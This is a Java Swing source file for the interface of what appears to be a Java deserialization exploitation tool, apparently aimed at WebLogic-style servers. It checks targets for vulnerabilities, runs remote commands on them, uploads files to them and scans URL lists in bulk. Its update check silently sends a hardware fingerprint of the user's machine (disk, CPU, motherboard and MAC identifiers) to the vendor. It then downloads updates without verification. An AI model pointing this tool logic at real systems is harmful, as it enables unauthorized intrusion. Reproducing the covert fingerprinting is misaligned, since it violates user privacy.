            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jTabbedPane2)
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(lbl_server, javax.swing.GroupLayout.PREFERRED_SIZE, 66, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jcombox_vuls, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(lbl_url)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(txt_url)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jbtn_start, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jbtn_clearLog)
                        .addGap(10, 10, 10))
                    .addComponent(jScrollPane6))
                .addContainerGap())
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jcombox_vuls, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(lbl_url)
                    .addComponent(jbtn_start, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jbtn_clearLog)
                    .addComponent(txt_url, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(lbl_server))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jTabbedPane2)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jScrollPane6, javax.swing.GroupLayout.PREFERRED_SIZE, 110, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap())
        );

        lbl_server.getAccessibleContext().setAccessibleName("");

        pack();
    }// </editor-fold>//GEN-END:initComponents
  
    
    private void log(String info){

        this.jtxt_log.append(info+"--"+Tools.getDate()+"\r\n");
    }
    private void jbtn_startActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtn_startActionPerformed
        this.jbtn_start.setEnabled(false);
    
        boolean isok=Tools.checkTheURL(this.txt_url.getText());
        if(isok){
         dispatch('c');
        }
        else{
            JOptionPane.showMessageDialog(null, "URL格式不符合要求，示例：http://127.0.0.1:7001/", "URL检查", JOptionPane.WARNING_MESSAGE); 
        }
       
        this.jbtn_start.setEnabled(true);

    }//GEN-LAST:event_jbtn_startActionPerformed
    private void dispatch(char method){
     String url=this.txt_url.getText();
     String vulName=this.jcombox_vuls.getSelectedItem().toString();
       
        try {
           
                 BasePayload bp=Tools.getPayload(vulName);
                switch(method){
                    case 'c':
                        boolean isVul=bp.checkVUL(url);
                        if(isVul){
                            log(url+"存在漏洞！");
                            String path=bp.getWebPath(url);
                            log("当前应用目录："+path.replace("\\", "/"));
                            JOptionPane.showMessageDialog(null, "存在漏洞", "漏洞验证结果", JOptionPane.ERROR_MESSAGE); 
                        }
                        else{
                            log(url+"不存在漏洞！");
                            JOptionPane.showMessageDialog(null, "不存在漏洞", "漏洞验证结果", JOptionPane.INFORMATION_MESSAGE); 
                        }
                        break;
                    case 'm':
                        String result=bp.exeCMD(url,this.jcombox_cmd.getSelectedItem().toString(),this.jcombox_encoding.getSelectedItem().toString());
                        this.jtxt_cmd_result.setText(result);
                        
                        break;
                    case 'u':
                        String path=bp.uploadFile(url,this.jtxt_fileContent.getText(),this.jtxt_filepath.getText(),this.jcheckBox_use_user_path.isSelected());
                        if(!"".equals(path)){
                            log(url+"上传完成！，请人工核查是否成功，地址："+path);
                            JOptionPane.showMessageDialog(null, "上传完成！", "上传结果", JOptionPane.INFORMATION_MESSAGE); 
                        }
                        else{
                            log(url+"上传失败！");
                            JOptionPane.showMessageDialog(null, "上传失败！", "上传结果", JOptionPane.INFORMATION_MESSAGE); 
                        }
                        break;
                      case 'b':
                        
                          this.status_lable=this.jlabel_check_status;
                          
                          EventQueue.invokeLater(new Runnable() {
                                @Override
                                public void run() {
                                    
                                }
                         });
                         batch_startWork=new SwingWorker<Void, Void>() {  
                                @Override  
                                protected Void doInBackground() throws Exception {
                                    int index=0;
                                    for(String curl : list_check) {
                                    BaseCheck bc=new BaseCheck();
                                    bc.table=jtable_batch_check_result;
                                    index++;
                                    bc.index=index;
                                    bc.url=curl;
                                    bc.init(bp);
                                    es.execute(bc); 
                                }
                                   es.shutdown();  
                                    while(!es.isTerminated()){
                                         Thread.sleep(200);
                                    }
                                   log("批量检查线程执行完成"); 
                                   return null;
                                }
                                  @Override 
                                  protected void done(){
                                      jbtn_batch_check_start.setEnabled(true);
                                      if(batch_statusWork!=null){
                                        batch_statusWork.cancel(true);
                                      }
                                  }
                            };
                         batch_startWork.execute();
                         batch_statusWork=new SwingWorker<Void, Void>() {  
                                @Override  
                                protected Void doInBackground() throws Exception {
                                   int time=0;
                                   while(true){
                                       status_lable.setText(count.get()+"/"+list_check.size());
                                       jlable_useTime.setText(time+"");
                                       Thread.sleep(1000);
                                       time++;
                                     }
                                }
                            };                       
                         batch_statusWork.execute();
                         
                        break;
                }
                
            
          
        } catch (Exception e) {
            log(e.toString());
        }
    }
    private void jbtn_clearLogActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtn_clearLogActionPerformed
        this.jtxt_log.setText("");
    }//GEN-LAST:event_jbtn_clearLogActionPerformed

    private void jbtn_uploadFileActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtn_uploadFileActionPerformed
        this.jbtn_uploadFile.setEnabled(false);
        boolean isok=Tools.checkTheURL(this.txt_url.getText());
        if(isok){
         dispatch('u');
        }
        else{
            JOptionPane.showMessageDialog(null, "URL格式不符合要求，示例：http://127.0.0.1:7001/", "URL检查", JOptionPane.WARNING_MESSAGE); 
        }
       
        this.jbtn_uploadFile.setEnabled(true);
    }//GEN-LAST:event_jbtn_uploadFileActionPerformed

    private void jmenu_exportActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jmenu_exportActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jmenu_exportActionPerformed

    private void jbtn_execmdActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtn_execmdActionPerformed

        this.jbtn_execmd.setEnabled(false);
        boolean isok=Tools.checkTheURL(this.txt_url.getText());
        if(isok){
           
         dispatch('m');
        }
        else{
            JOptionPane.showMessageDialog(null, "URL格式不符合要求，示例：http://127.0.0.1:7001/", "URL检查", JOptionPane.WARNING_MESSAGE); 
        }
        this.jbtn_execmd.setEnabled(true);
    }//GEN-LAST:event_jbtn_execmdActionPerformed
    private static final int  version=20190828;
    private static String sid="V:public"+"--OS:"+System.getProperty("os.name")+"--Serial:"+DiskUtil.getSerialNumber("C")+"--CPU:"+DiskUtil.GetCpuID()+"--Motherboard:"+DiskUtil.getMotherboardSN()+"--Mac:"+DiskUtil.GetMac();
    private static String versionURL="http://www.shack2.org/soft/getNewVersion?ENNAME=javaserializetools&NO=" + URLEncoder.encode(sid) + "&VERSION=" + version;
    public void checkUpdate()
        {
            try
            {
                
                String[] result = HttpTool.getHttpReuest(versionURL,"UTF-8").split("-");
                String versionText = result[0];
                int cversion =Integer.parseInt(result[1]);
                String versionUpdateURL = result[2];
                if (cversion > version)
                {
                   int n = JOptionPane.showConfirmDialog(null, "发现新版本：" + versionText + "，更新日期：" + cversion + "，立即更新吗？", "更新提示",JOptionPane.YES_NO_OPTION);    
                    if (n==0)
                    {
                        try
                        {
                             int lindex=versionUpdateURL.lastIndexOf("/");
                            boolean isok=false;
                            if (lindex != -1)
                            {
                                String path=System.getProperty("user.dir");
                                String surl=versionUpdateURL.substring(0,lindex+1);
                                String fileName=versionUpdateURL.substring(lindex+1);
                                
                                isok=HttpTool.downloadFile(surl+URLEncoder.encode(fileName, "UTF-8"), path+"/"+fileName);
                            }
                            
                            if(isok){
                                JOptionPane.showMessageDialog(null, "更新完成！", "更新提示", JOptionPane.INFORMATION_MESSAGE); 
                            }
                            else{
                                JOptionPane.showMessageDialog(null, "更新失败，请访问官方更新！", "更新提示", JOptionPane.INFORMATION_MESSAGE); 
                            }
                        }catch (Exception other)
                        {
                             JOptionPane.showMessageDialog(null, "更新失败，请访问官方更新！"+other.getMessage(), "更新提示", JOptionPane.INFORMATION_MESSAGE); 
                        }
                    }
                }
                else
                {
                    log("自动检查更新，没有发现新版本！");
                }
            }
            catch (Exception e)
            {
                log("检查更新，联网失败！"+e.getMessage());
            }
        }
    private void jmenu_aboutActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jmenu_aboutActionPerformed
        JOptionPane.showMessageDialog(null, "本工具提供给安全测试人员，安全工程师，进行安全自查使用，请勿非法使用！\r\n版本：V 1.7 "+version+"\r\nBug反馈：1341413415@qq.com", "关于", JOptionPane.INFORMATION_MESSAGE); 
    }//GEN-LAST:event_jmenu_aboutActionPerformed

    private void jmenu_checkUpdataActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jmenu_checkUpdataActionPerformed
        newThreadCheckUpdate();
    }//GEN-LAST:event_jmenu_checkUpdataActionPerformed

    private void newThreadCheckUpdate(){
        SwingWorker work= new SwingWorker<Void, Void>() {  
                                @Override  
                                protected Void doInBackground() throws Exception {
                                   checkUpdate();
                                   return null;
                                }        
        };
        work.execute();
    }
    private void InitCheckUpdate(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_InitCheckUpdate
      
     newThreadCheckUpdate();
     
    }//GEN-LAST:event_InitCheckUpdate

    private void jbtn_batch_check_startActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtn_batch_check_startActionPerformed
        
       this.jbtn_batch_check_start.setEnabled(false);
        count=new AtomicInteger(0);
        if(list_check.size()>0){
            int threadSize=Integer.parseInt(this.j_combox_threadSize.getSelectedItem().toString());
            DefaultTableModel dt=(DefaultTableModel)jtable_batch_check_result.getModel();
            dt.setRowCount(0);
            es=Executors.newFixedThreadPool(threadSize);
            dispatch('b');
        }
        else{
            JOptionPane.showMessageDialog(null, "请先导入检查URL！", "URL批量检查", JOptionPane.WARNING_MESSAGE); 
            this.jbtn_batch_check_start.setEnabled(true);
        }
        
    }//GEN-LAST:event_jbtn_batch_check_startActionPerformed
    
    private void jbtn_batch_check_importActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtn_batch_check_importActionPerformed
        JFileChooser jfc=new JFileChooser();  
        jfc.setFileSelectionMode(JFileChooser.FILES_ONLY );  
        jfc.showDialog(new JLabel(), "选择");  
        File file=jfc.getSelectedFile();  
        
        if(file!=null){
            this.jtxt_batch_chek_path.setText(file.getAbsolutePath());
            list_check=Tools.read(file.getAbsolutePath(), "UTF-8");
            JOptionPane.showMessageDialog(null, "成本导入"+list_check.size()+"个URL！", "导入URL", JOptionPane.INFORMATION_MESSAGE); 
        }
        
    }//GEN-LAST:event_jbtn_batch_check_importActionPerformed

    private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing
        
        System.exit(0);
    }//GEN-LAST:event_formWindowClosing

    private void jbtn_batch_check_stopActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jbtn_batch_check_stopActionPerformed
         if(es!=null)  {
             es.shutdownNow();
             if(batch_startWork!=null){
                 batch_startWork.cancel(true);
             }
             if(batch_statusWork!=null){
                 batch_statusWork.cancel(true);
             }
            log("线程已经停止！");
        }
    }//GEN-LAST:event_jbtn_batch_check_stopActionPerformed

    private void jtable_batch_check_resultMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jtable_batch_check_resultMouseClicked
        if (evt.getButton() == java.awt.event.MouseEvent.BUTTON3) { 
           int focusedRowIndex = jtable_batch_check_result.rowAtPoint(evt.getPoint());  
           if (focusedRowIndex == -1) {  
               return;  
           }  
           jPopupMenu1.show(jtable_batch_check_result,evt.getX(),evt.getY());
        }
    }//GEN-LAST:event_jtable_batch_check_resultMouseClicked

    private void jmenu_c_exportActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jmenu_c_exportActionPerformed
        //导出
        //弹出文件选择框  
        JFileChooser chooser = new JFileChooser();  
        chooser.setFileSelectionMode(JFileChooser.FILES_ONLY );  
        //下面的方法将阻塞，直到【用户按下保存按钮且“文件名”文本框不为空】或【用户按下取消按钮】  
        int option = chooser.showSaveDialog(null);  
        if(option==JFileChooser.APPROVE_OPTION){    //假如用户选择了保存  
            File file = chooser.getSelectedFile();
            OutputStreamWriter osw=null;
            BufferedWriter bw=null;
            try {  
                
                osw = new OutputStreamWriter(new FileOutputStream(file),"UTF-8");	
		bw=new BufferedWriter(osw);	
                 DefaultTableModel dt=(DefaultTableModel)jtable_batch_check_result.getModel();
                
                 Vector<Vector> data=dt.getDataVector();
                 for(Vector v :data ){
                     StringBuffer sb=new StringBuffer();
                     for(Object c :v ){
                         sb.append(c+",");
                     }
                     if(sb.length()>=1){
                         sb.deleteCharAt(sb.length()-1);
                     }
                     bw.write(sb.toString());
                     bw.newLine();
                 }
            } catch (Exception e) {  
                log("保存异常！"+e.getMessage());     
            } finally{
                 try {
                    if(bw!=null){
                        bw.flush();
                        bw.close();
                    }
                    if(osw!=null){
                        osw.close();
                    }
                } catch (IOException ex) {
                        log(ex.getMessage());
                }
            }    
        }
    }//GEN-LAST:event_jmenu_c_exportActionPerformed

    private void jmenu_c_del_select_rowsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jmenu_c_del_select_rowsActionPerformed
         //获取要删除的行,没有选择是-1
        int[] rows = jtable_batch_check_result.getSelectedRows();
      
	if(rows.length<=0){
            JOptionPane.showMessageDialog(null, "未选中需要删除的数据！", "删除选中行", JOptionPane.WARNING_MESSAGE); 
	}
        else{
            
                DefaultTableModel dt=(DefaultTableModel)jtable_batch_check_result.getModel();
                for(int i=0;i<rows.length;i++){
                    dt.removeRow(jtable_batch_check_result.getSelectedRow());
                }
                JOptionPane.showMessageDialog(null, "删除成功！", "删除选中行", JOptionPane.INFORMATION_MESSAGE); 
	}
      
    }//GEN-LAST:event_jmenu_c_del_select_rowsActionPerformed
    
    /**
     * @param args the command line arguments
     */
    public static void main(String args[]) {
        /* Set the Nimbus look and feel */
        try
        {
            UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
        }
        catch(Exception ec)
        {
            ec.printStackTrace();
        }
       
       java.awt.EventQueue.invokeLater(new Runnable() {
            @Override
            public void run() {
                new Main().setVisible(true);
            }
        });
    }
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JLabel jLabel4;
    private javax.swing.JLabel jLabel5;
    private javax.swing.JLabel jLabel6;
    private javax.swing.JMenu jMenu1;
    private javax.swing.JMenu jMenu2;
    private javax.swing.JMenuBar jMenuBar1;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JPanel jPanel2;
    private javax.swing.JPanel jPanel3;
    private javax.swing.JPanel jPanel4;
    private javax.swing.JPopupMenu jPopupMenu1;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JScrollPane jScrollPane2;
    private javax.swing.JScrollPane jScrollPane3;
    private javax.swing.JScrollPane jScrollPane5;
    private javax.swing.JScrollPane jScrollPane6;
    private javax.swing.JTabbedPane jTabbedPane2;
    private javax.swing.JComboBox<String> j_combox_threadSize;
    private javax.swing.JButton jbtn_batch_check_import;
    private javax.swing.JButton jbtn_batch_check_start;
    private javax.swing.JButton jbtn_batch_check_stop;
    private javax.swing.JButton jbtn_clearLog;
    private javax.swing.JButton jbtn_execmd;
    private javax.swing.JButton jbtn_start;
    private javax.swing.JButton jbtn_uploadFile;
    private javax.swing.JCheckBox jcheckBox_use_user_path;
    private javax.swing.JComboBox<String> jcombox_cmd;
    private javax.swing.JComboBox<String> jcombox_encoding;
    private javax.swing.JComboBox<String> jcombox_vuls;
    private javax.swing.JLabel jlabel_check_status;
    private javax.swing.JLabel jlable_useTime;
    private javax.swing.JMenuItem jmenu_about;
    private javax.swing.JMenuItem jmenu_c_del_select_rows;
    private javax.swing.JMenuItem jmenu_c_export;
    private javax.swing.JMenuItem jmenu_checkUpdata;
    private javax.swing.JMenuItem jmenu_export;
    private javax.swing.JMenuItem jmenu_importURL;
    private javax.swing.JTable jtable_batch_check_result;
    private javax.swing.JTextField jtxt_batch_chek_path;
    private javax.swing.JTextArea jtxt_cmd_result;
    private javax.swing.JTextArea jtxt_fileContent;
    private javax.swing.JTextField jtxt_filepath;
    private javax.swing.JTextArea jtxt_log;
    private javax.swing.JTextPane jtxtp_info;
    private javax.swing.JLabel lbl_server;
    private javax.swing.JLabel lbl_url;
    private javax.swing.JTextField txt_url;
    // End of variables declaration//GEN-END:variables
}
